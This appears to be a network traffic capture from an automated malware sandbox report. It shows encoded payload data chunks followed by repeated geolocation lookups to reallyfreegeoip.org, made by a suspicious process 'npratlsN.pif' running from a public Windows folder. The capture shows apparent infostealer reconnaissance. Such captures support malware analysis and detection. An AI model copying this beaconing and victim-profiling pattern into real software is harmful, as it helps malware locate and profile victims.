                                                                                                                                                        2025-01-14 07:08:15 UTC8000INData Raw: 6e 6d 63 68 6e 6b 56 55 73 58 53 59 6b 39 79 6f 55 4b 77 51 69 35 77 62 4e 71 57 4c 33 4d 7a 39 33 6b 6a 49 31 4c 69 51 6d 4e 33 72 65 65 58 36 41 6b 57 74 6d 47 42 48 6b 34 69 31 78 47 4c 57 63 6e 33 68 65 36 78 77 38 75 79 37 77 4a 43 5a 4d 4d 56 42 4b 6e 75 56 47 51 56 43 37 2b 4c 76 46 4b 4d 38 34 72 41 38 77 4e 4e 47 4b 46 62 57 65 30 42 31 4e 6c 4c 62 4a 6d 4d 77 4c 34 66 32 57 6d 30 49 41 79 56 31 6a 63 55 51 34 59 38 4a 61 78 4c 73 6d 4a 73 58 6e 57 71 70 61 68 4a 56 64 59 42 67 45 34 5a 55 72 70 61 42 6e 7a 4d 38 58 77 45 36 46 33 53 39 31 54 39 63 6f 53 5a 66 42 78 66 77 67 35 49 5a 75 52 55 4b 73 58 51 4a 57 4c 6f 35 33 47 37 74 5a 4f 46 78 48 6e 33 74 6b 6c 2b 37 58 6d 71 4e 53 54 6b 42 64 4a 43 59 4d 6d 4a 44 48 61 34 77 65 33 52 36 57 37 59
                                                                                                                                                        Data Ascii: nmchnkVUsXSYk9yoUKwQi5wbNqWL3Mz93kjI1LiQmN3reeX6AkWtmGBHk4i1xGLWcn3he6xw8uy7wJCZMMVBKnuVGQVC7+LvFKM84rA8wNNGKFbWe0B1NlLbJmMwL4f2Wm0IAyV1jcUQ4Y8JaxLsmJsXnWqpahJVdYBgE4ZUrpaBnzM8XwE6F3S91T9coSZfBxfwg5IZuRUKsXQJWLo53G7tZOFxHn3tkl+7XmqNSTkBdJCYMmJDHa4we3R6W7Y
                                                                                                                                                        2025-01-14 07:08:15 UTC8000INData Raw: 78 51 38 77 59 2b 54 71 69 36 73 49 33 37 63 4e 56 4c 70 55 5a 63 46 50 43 6b 47 58 42 47 43 51 6d 54 54 6b 6c 68 49 4a 44 2b 47 4d 4d 57 73 72 49 4e 49 75 30 74 6e 69 76 52 48 72 50 65 49 2b 4a 73 69 45 62 54 67 45 68 37 59 57 4a 42 70 47 6b 63 4e 6e 55 64 39 45 68 78 64 42 73 73 63 6b 51 75 68 71 4f 79 6e 76 48 77 6d 43 63 6a 77 50 49 45 71 73 70 6e 35 67 7a 37 6c 46 76 4f 52 31 6e 59 35 6a 48 66 30 64 41 58 38 74 59 31 4b 2f 64 4b 4e 65 69 73 36 53 5a 57 69 57 78 6a 61 6e 6b 47 42 6b 52 2f 55 43 49 6f 2b 56 55 78 56 71 54 34 45 57 79 57 70 6a 30 33 47 6c 39 54 44 53 6e 48 57 74 6b 42 36 46 53 73 56 41 48 30 43 78 38 36 52 54 37 7a 6a 6f 5a 46 73 66 4a 5a 36 41 50 58 35 67 44 4d 63 77 45 30 45 41 65 51 36 35 37 6a 32 44 6b 49 33 47 63 63 47 44 6c 33 2b
                                                                                                                                                        Data Ascii: xQ8wY+Tqi6sI37cNVLpUZcFPCkGXBGCQmTTklhIJD+GMMWsrINIu0tnivRHrPeI+JsiEbTgEh7YWJBpGkcNnUd9EhxdBssckQuhqOynvHwmCcjwPIEqspn5gz7lFvOR1nY5jHf0dAX8tY1K/dKNeis6SZWiWxjankGBkR/UCIo+VUxVqT4EWyWpj03Gl9TDSnHWtkB6FSsVAH0Cx86RT7zjoZFsfJZ6APX5gDMcwE0EAeQ657j2DkI3GccGDl3+
                                                                                                                                                        2025-01-14 07:08:15 UTC8000INData Raw: 6d 75 47 52 4e 77 65 50 69 42 51 5a 57 71 51 49 66 6f 45 30 32 44 32 52 66 4a 43 54 74 75 6b 64 31 6e 30 53 77 6e 63 66 77 38 52 46 6b 43 59 6f 79 78 66 7a 53 51 67 30 64 6b 6d 4c 4f 65 6e 67 32 4f 30 74 75 70 66 49 37 6b 37 52 6a 39 69 46 69 51 6b 47 73 6d 50 34 70 72 71 57 78 49 79 4b 63 6b 51 36 67 56 5a 32 2f 6a 2f 7a 64 74 43 4c 33 77 6b 64 56 38 78 44 56 37 44 33 59 48 58 62 6d 34 4a 64 54 35 48 49 56 75 34 53 4f 58 59 6f 49 36 79 75 39 54 78 6b 6c 4d 77 64 63 71 76 54 35 51 75 54 4a 5a 47 72 46 72 5a 4d 51 39 73 6e 7a 77 33 67 65 6e 51 2f 54 79 42 62 6b 79 42 68 45 48 50 67 6a 79 65 43 31 6f 74 44 58 64 42 4c 63 48 73 49 4f 79 6a 46 63 2b 4b 4b 6c 43 38 72 78 74 49 55 33 4f 67 36 30 32 4c 7a 61 6a 61 58 7a 53 66 4a 4e 62 46 72 53 4c 43 32 57 37 49
                                                                                                                                                        Data Ascii: muGRNwePiBQZWqQIfoE02D2RfJCTtukd1n0Swncfw8RFkCYoyxfzSQg0dkmLOeng2O0tupfI7k7Rj9iFiQkGsmP4prqWxIyKckQ6gVZ2/j/zdtCL3wkdV8xDV7D3YHXbm4JdT5HIVu4SOXYoI6yu9TxklMwdcqvT5QuTJZGrFrZMQ9snzw3genQ/TyBbkyBhEHPgjyeC1otDXdBLcHsIOyjFc+KKlC8rxtIU3Og602LzajaXzSfJNbFrSLC2W7I
                                                                                                                                                        2025-01-14 07:08:15 UTC8000INData Raw: 4a 66 44 45 44 32 37 6d 32 4a 62 7a 41 42 73 6e 66 71 31 63 64 62 35 79 7a 47 37 66 6d 66 69 33 46 79 52 30 57 67 64 56 42 46 63 45 76 5a 31 4a 48 49 41 7a 6b 56 64 47 63 44 49 53 53 42 79 6d 64 69 6d 76 35 61 6c 32 44 58 4b 6f 6c 76 78 78 68 7a 52 38 35 64 79 68 55 74 77 44 35 39 6a 58 31 61 50 36 4f 31 31 42 66 42 65 4a 49 33 6c 47 49 42 6c 55 73 45 70 77 78 4a 69 5a 4f 4d 43 41 6b 4a 6c 50 4f 51 53 2b 59 46 34 38 68 79 55 6f 41 4d 4e 4c 72 56 48 2f 63 72 64 4e 59 58 6e 65 79 63 62 31 4f 6c 62 67 51 76 2f 4e 59 63 43 59 6b 69 75 7a 4d 61 78 4c 4e 70 2f 2b 51 4d 69 58 4b 56 6a 55 72 34 76 49 72 4b 45 75 34 33 6a 76 4b 6e 2b 39 45 59 36 33 31 74 70 32 61 4c 6c 76 56 54 45 5a 69 6f 64 75 6c 75 49 2b 66 4e 30 33 75 38 47 64 6c 74 6d 64 2f 46 62 4d 57 53 54
                                                                                                                                                        Data Ascii: JfDED27m2JbzABsnfq1cdb5yzG7fmfi3FyR0WgdVBFcEvZ1JHIAzkVdGcDISSBymdimv5al2DXKolvxxhzR85dyhUtwD59jX1aP6O11BfBeJI3lGIBlUsEpwxJiZOMCAkJlPOQS+YF48hyUoAMNLrVH/crdNYXneycb1OlbgQv/NYcCYkiuzMaxLNp/+QMiXKVjUr4vIrKEu43jvKn+9EY631tp2aLlvVTEZioduluI+fN03u8Gdltmd/FbMWST
                                                                                                                                                        2025-01-14 07:08:15 UTC8000INData Raw: 37 47 45 55 6a 34 71 67 33 56 65 6e 4f 37 66 69 66 59 4b 6c 52 62 4d 6d 4c 31 34 34 78 61 41 6c 74 49 71 38 33 4e 51 75 4c 4f 72 72 78 4f 6a 34 74 59 30 37 4c 38 66 71 41 68 65 4f 6a 44 7a 73 47 53 43 43 57 67 37 55 69 45 71 39 48 56 39 7a 55 32 38 6f 4a 4c 72 68 61 54 2b 30 6f 52 30 6b 37 6c 36 32 65 6a 39 6c 43 64 74 46 66 50 64 71 67 4a 53 45 48 74 33 30 4e 44 43 70 48 63 5a 75 44 47 67 4c 68 75 50 57 57 66 79 6b 71 6a 4d 43 2b 43 50 73 52 55 68 50 52 31 70 54 6d 76 78 78 6a 49 52 4f 55 6c 78 58 6d 6f 55 44 55 6f 62 42 4e 43 44 2f 68 71 4a 6c 77 4e 6a 57 68 38 45 53 36 43 4d 77 4c 4d 41 6e 4b 75 6f 71 30 75 41 55 43 78 73 66 4d 53 4f 33 59 2f 72 52 61 4c 6c 57 64 31 78 73 2f 30 32 35 45 34 57 6c 6d 4a 78 4e 52 7a 4d 7a 53 4a 51 76 57 31 74 57 62 39 4d
                                                                                                                                                        Data Ascii: 7GEUj4qg3VenO7fifYKlRbMmL144xaAltIq83NQuLOrrxOj4tY07L8fqAheOjDzsGSCCWg7UiEq9HV9zU28oJLrhaT+0oR0k7l62ej9lCdtFfPdqgJSEHt30NDCpHcZuDGgLhuPWWfykqjMC+CPsRUhPR1pTmvxxjIROUlxXmoUDUobBNCD/hqJlwNjWh8ES6CMwLMAnKuoq0uAUCxsfMSO3Y/rRaLlWd1xs/025E4WlmJxNRzMzSJQvW1tWb9M
                                                                                                                                                        2025-01-14 07:08:15 UTC8000INData Raw: 36 70 52 56 46 39 63 6a 34 57 31 69 72 6c 53 59 6b 39 68 59 37 78 56 68 7a 36 59 78 74 44 58 34 53 44 37 59 48 6c 59 54 44 43 2b 49 6f 48 6f 74 69 4d 65 4d 4f 70 4c 6d 2b 70 74 4c 30 77 37 64 45 51 7a 45 73 78 33 75 31 76 6d 35 4e 7a 6b 65 72 38 67 63 70 6e 66 72 6e 59 49 7a 4a 38 50 6a 6d 79 6a 44 47 47 65 62 31 42 6c 72 2f 67 58 47 69 54 4b 74 46 6f 6a 77 31 6c 64 74 6c 6c 5a 78 71 34 50 34 4c 53 71 49 50 68 78 72 70 51 6d 67 73 4f 4f 76 4f 6c 4b 64 71 52 7a 59 54 45 30 62 39 52 63 6d 4f 45 35 6f 7a 49 67 47 41 69 61 4d 33 58 56 53 62 2f 64 72 62 4a 69 54 78 2f 47 71 47 55 79 51 6d 5a 33 64 62 76 49 63 51 7a 73 4f 7a 66 2b 6e 51 4c 78 47 74 49 41 6c 4d 59 66 79 6e 6a 6f 6a 37 62 4e 50 68 7a 6a 43 47 42 6c 4f 78 72 45 35 32 78 55 6f 30 45 44 53 63 7a 30
                                                                                                                                                        Data Ascii: 6pRVF9cj4W1irlSYk9hY7xVhz6YxtDX4SD7YHlYTDC+IoHotiMeMOpLm+ptL0w7dEQzEsx3u1vm5Nzker8gcpnfrnYIzJ8PjmyjDGGeb1Blr/gXGiTKtFojw1ldtllZxq4P4LSqIPhxrpQmgsOOvOlKdqRzYTE0b9RcmOE5ozIgGAiaM3XVSb/drbJiTx/GqGUyQmZ3dbvIcQzsOzf+nQLxGtIAlMYfynjoj7bNPhzjCGBlOxrE52xUo0EDScz0
                                                                                                                                                        2025-01-14 07:08:15 UTC8000INData Raw: 34 38 5a 35 39 77 59 42 66 56 47 47 55 67 33 70 71 2f 44 62 38 76 54 4b 76 47 4d 53 41 30 58 57 59 47 45 72 54 70 76 31 55 45 79 51 6d 62 62 50 4a 39 36 42 72 76 39 6d 47 68 53 58 4e 33 4e 2f 32 76 6e 62 45 57 73 74 64 61 6e 52 33 34 62 6d 59 38 58 4d 37 43 74 41 32 33 39 6d 41 55 54 44 46 51 69 37 67 73 76 73 57 4a 69 53 6d 33 49 6b 49 39 49 48 61 32 39 77 4a 71 50 55 5a 54 41 4d 36 42 4d 5a 6c 75 58 34 67 2b 4b 75 6e 4b 59 68 32 2f 79 4e 46 4b 78 31 31 71 54 2b 36 75 39 2b 39 30 72 47 57 43 59 66 6a 68 43 67 47 4a 7a 5a 72 53 68 52 51 41 76 62 64 4b 54 64 73 39 44 31 6d 2b 4d 71 6e 2f 5a 66 7a 75 48 55 57 46 57 72 78 69 6b 62 36 52 34 7a 4e 42 41 78 4f 57 6c 58 4f 34 68 51 62 4f 38 71 6e 5a 6a 47 31 4d 71 76 57 2f 4d 52 42 6f 70 31 55 54 32 6a 56 65 4b
                                                                                                                                                        Data Ascii: 48Z59wYBfVGGUg3pq/Db8vTKvGMSA0XWYGErTpv1UEyQmbbPJ96Brv9mGhSXN3N/2vnbEWstdanR34bmY8XM7CtA239mAUTDFQi7gsvsWJiSm3IkI9IHa29wJqPUZTAM6BMZluX4g+KunKYh2/yNFKx11qT+6u9+90rGWCYfjhCgGJzZrShRQAvbdKTds9D1m+Mqn/ZfzuHUWFWrxikb6R4zNBAxOWlXO4hQbO8qnZjG1MqvW/MRBop1UT2jVeK


                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        1192.168.2.449757104.21.16.14434544C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        2025-01-14 07:08:24 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                        Host: reallyfreegeoip.org
                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                        2025-01-14 07:08:24 UTC855INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:24 GMT
                                                                                                                                                        Content-Type: text/xml
                                                                                                                                                        Content-Length: 362
                                                                                                                                                        Connection: close
                                                                                                                                                        Age: 2153293
                                                                                                                                                        Cache-Control: max-age=31536000
                                                                                                                                                        cf-cache-status: HIT
                                                                                                                                                        last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gU%2FRms7qNpy9%2B717E3u21DFY3gCVe5iszZ1GkvYpsAcK%2FacrY3xzvJALtTNNCaTX2BWfaEob6YjsmbWtThsIiwkZSlD3wUezoyEvK0Bj685C6onf1Bblyn4l51Fztj3WShG94We9"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                        Server: cloudflare
                                                                                                                                                        CF-RAY: 901bcb6d8d060fa8-EWR
                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                        server-timing: cfL4;desc="?proto=TCP&rtt=1453&min_rtt=1440&rtt_var=567&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1882656&cwnd=252&unsent_bytes=0&cid=8858a7664a426b1b&ts=395&x=0"
                                                                                                                                                        2025-01-14 07:08:24 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                        Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        2192.168.2.449758104.21.16.14434544C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        2025-01-14 07:08:25 UTC61OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                        Host: reallyfreegeoip.org
                                                                                                                                                        2025-01-14 07:08:25 UTC859INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:25 GMT
                                                                                                                                                        Content-Type: text/xml
                                                                                                                                                        Content-Length: 362
                                                                                                                                                        Connection: close
                                                                                                                                                        Age: 2153294
                                                                                                                                                        Cache-Control: max-age=31536000
                                                                                                                                                        cf-cache-status: HIT
                                                                                                                                                        last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CrKL2UZBDigqmYCnG4s4YWKk50EXQY8LIqNQA96LkETMb9wxlS9bQmbDJXFqdp%2BrGMtBHXqmvlFPGAbDCq7RHyrU6ajRLwXk3%2FfVs4%2BU%2BF7LMGStV4vgzA%2FQWYQN75KpVE4gxDDl"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                        Server: cloudflare
                                                                                                                                                        CF-RAY: 901bcb73784e0fa8-EWR
                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                        server-timing: cfL4;desc="?proto=TCP&rtt=1450&min_rtt=1445&rtt_var=553&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1957104&cwnd=252&unsent_bytes=0&cid=7641a520d941cc87&ts=160&x=0"
                                                                                                                                                        2025-01-14 07:08:25 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                        Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        3192.168.2.452744104.21.16.14434544C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        2025-01-14 07:08:27 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                        Host: reallyfreegeoip.org
                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                        2025-01-14 07:08:27 UTC864INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:27 GMT
                                                                                                                                                        Content-Type: text/xml
                                                                                                                                                        Content-Length: 362
                                                                                                                                                        Connection: close
                                                                                                                                                        Age: 2153297
                                                                                                                                                        Cache-Control: max-age=31536000
                                                                                                                                                        cf-cache-status: HIT
                                                                                                                                                        last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GIICdwFSPWL3Q%2B4F%2BCr2FnuVv3EqcMQm%2F5sIwvXJJXqaDzrk1%2B4ZaDM67f20%2FNWoAD8HfGl2wFdvSL0WIiNbSUu6BVXKysivZKd%2BYowCiTfWJGmA7gHRlJLN1YwWoaoJ%2BNOJPkkr"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                        Server: cloudflare
                                                                                                                                                        CF-RAY: 901bcb822a3e41ba-EWR
                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                        server-timing: cfL4;desc="?proto=TCP&rtt=1712&min_rtt=1702&rtt_var=658&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1637689&cwnd=192&unsent_bytes=0&cid=6820bb286bb66791&ts=1065&x=0"
                                                                                                                                                        2025-01-14 07:08:27 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                        Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        4192.168.2.452746104.21.16.14434544C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        2025-01-14 07:08:29 UTC61OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                        Host: reallyfreegeoip.org
                                                                                                                                                        2025-01-14 07:08:29 UTC859INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:29 GMT
                                                                                                                                                        Content-Type: text/xml
                                                                                                                                                        Content-Length: 362
                                                                                                                                                        Connection: close
                                                                                                                                                        Age: 2153298
                                                                                                                                                        Cache-Control: max-age=31536000
                                                                                                                                                        cf-cache-status: HIT
                                                                                                                                                        last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kS%2BPNYQUu%2BfIAKoErlsBnMdL7JoWIBWqURwz3XGmjDBIib2PQHqQwFFfKgMAN5EVrLWK3CF8ziyle6Mpp%2FM86Hgtk5V25kqiHII2MAQ5ZAcg76%2BDj%2F8DQtU7J1Jg1cKAd8W6uLSG"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                        Server: cloudflare
                                                                                                                                                        CF-RAY: 901bcb8bdd820fa8-EWR
                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                        server-timing: cfL4;desc="?proto=TCP&rtt=1534&min_rtt=1518&rtt_var=581&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1923583&cwnd=252&unsent_bytes=0&cid=a395e527b533a0e8&ts=147&x=0"
                                                                                                                                                        2025-01-14 07:08:29 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                        Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        5192.168.2.452748104.21.16.14434544C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        2025-01-14 07:08:30 UTC61OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                        Host: reallyfreegeoip.org
                                                                                                                                                        2025-01-14 07:08:30 UTC865INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:30 GMT
                                                                                                                                                        Content-Type: text/xml
                                                                                                                                                        Content-Length: 362
                                                                                                                                                        Connection: close
                                                                                                                                                        Age: 2153300
                                                                                                                                                        Cache-Control: max-age=31536000
                                                                                                                                                        cf-cache-status: HIT
                                                                                                                                                        last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=98dqAU%2FSBqidpk%2Fdb342k3Frsc1z0ID4g9Z5IlV0Gm%2B4szMr67k0zZ5laOQv4%2BtAyN3wv4IU1CuJMz3QBxc%2FlTmuq%2B3hqKGnpHxLtQuqi29V%2B6Z5o2Nq1TEoSUpv%2FX8NiEAJBJw1"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                        Server: cloudflare
                                                                                                                                                        CF-RAY: 901bcb94e8ad4388-EWR
                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                        server-timing: cfL4;desc="?proto=TCP&rtt=1601&min_rtt=1601&rtt_var=601&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1823860&cwnd=221&unsent_bytes=0&cid=e8dbfe8d9c0099fd&ts=148&x=0"
                                                                                                                                                        2025-01-14 07:08:30 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                        Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        6192.168.2.452750104.21.16.14434544C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        2025-01-14 07:08:32 UTC61OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                        Host: reallyfreegeoip.org
                                                                                                                                                        2025-01-14 07:08:32 UTC851INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:32 GMT
                                                                                                                                                        Content-Type: text/xml
                                                                                                                                                        Content-Length: 362
